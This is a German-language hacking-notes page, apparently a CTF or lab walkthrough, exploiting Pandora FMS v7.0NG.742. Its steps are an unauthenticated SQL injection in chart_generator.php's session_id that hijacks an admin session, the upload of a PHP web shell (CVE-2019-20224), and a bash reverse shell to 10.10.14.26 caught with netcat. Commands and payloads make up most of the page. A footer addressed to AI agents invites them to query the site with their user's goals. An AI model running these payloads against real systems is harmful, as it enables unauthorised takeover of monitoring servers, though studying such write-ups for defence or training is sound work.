> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/pandora-cms-exploitation.md).

# Pandora

## Ausnutzung von Pandora FMS - SQL-Injection

### **SQL-Injection - Übernahme einer Admin-Sitzung**

Dieser Befehl leitet lokale HTTP-Anfragen an den internen Webserver weiter.

<figure><img src="/files/6c92ecbdd1d8e767e96ec630db83ca3b83bde59d" alt=""><figcaption></figcaption></figure>

Erkannte Version: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/8331e5bfcb6022b1631ecd13818a6179821d9828" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Bekannte Schwachstelle in `chart_generator.php` über die `session_id` Variable:

<figure><img src="/files/fd400e6bb4096262f3133ddbd40bc8b76b862bfa" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/832996c9b4bdb5ef6aaf45bc5aa3163d6697f4fd" alt=""><figcaption></figcaption></figure>

Führen Sie die SQL-Injection aus, um eine Administrator-Sitzung zu übernehmen:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Dieser Befehl gibt ein Admin-Sitzungscookie zurück.

<figure><img src="/files/1e8041bb35bbbe0fffa7ba7eb71fa6a2ea3504a2" alt=""><figcaption></figcaption></figure>

Verwenden Sie das Cookie, um als Administrator auf das Dashboard zuzugreifen.

<figure><img src="/files/38a4c700295c916ab373cca5a68b35f38e12592a" alt=""><figcaption></figcaption></figure>

### **Remotecodeausführung (RCE) - /\[CVE-2019-20224]**

Navigieren Sie zu **Dateimanager**.

<figure><img src="/files/28b5aa619d7929ec8402c0d0f041758fc7d2b1d2" alt=""><figcaption></figcaption></figure>

Laden Sie eine bösartige PHP-Datei hoch:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* Die Datei ist unter `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/1ef7842dbdf488237740b9c6711b87e7dd657158" alt=""><figcaption></figcaption></figure>

Führen Sie eine Reverse Shell aus:

* Starten Sie einen lokalen Listener:

```bash
nc -nvlp 443
```

* Befehlsausführung auf dem Zielserver:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Zugriff wird als Benutzer erlangt `matt`.

<figure><img src="/files/ad21a9e84797f2efb158f49966fd44e709b5cb1f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
